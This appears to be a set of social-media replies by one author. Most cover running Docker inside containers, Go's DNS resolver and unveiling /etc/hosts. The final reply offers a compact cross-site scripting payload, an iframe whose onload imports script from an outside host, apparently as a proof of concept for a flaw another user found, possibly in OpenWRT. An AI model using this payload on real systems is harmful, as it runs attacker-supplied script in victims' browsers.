@whitequark @th at work we have an environment (on kubernetes, but could be ported to other things) where technically it’s running inside a container but docker works without the awful docker-in-docker hacks, this needs some careful application of user namespaces. I think various commercial offerings like exe.dev and bunny.net (their magic containers product) do things along these lines using kata containers.

The real problem is there are almost too many ways to do this and you get to integrate them yourself…

@xz note that Go can use libc as a resolver (https://pkg.go.dev/net#hdr-Name_Resolution), if this breaks you setting one of those environment variables is a potential workaround, but only a temporary one.

I'd also recommend unveils for the other DNS related files listed in my post (/etc/hosts in particular, there are some very subtle behaviours there, some recursive DNS servers will resolve "localhost", others won't, so if you don't have /etc/hosts, it's essentially random whether "localhost" works). There's a few more details to be worked out, I'll share a Go specific update to that post soon.

@sash very cool find! I think it would be possible to fit it (just) in 32 characters with: <iframe onload=import('//d.cx')>

(That url works; d.cx is serving a hello world alert payload at the moment, it works with e.g. https://d.cx/~dgl/l.html but I haven't tried actually doing it with OpenWRT.)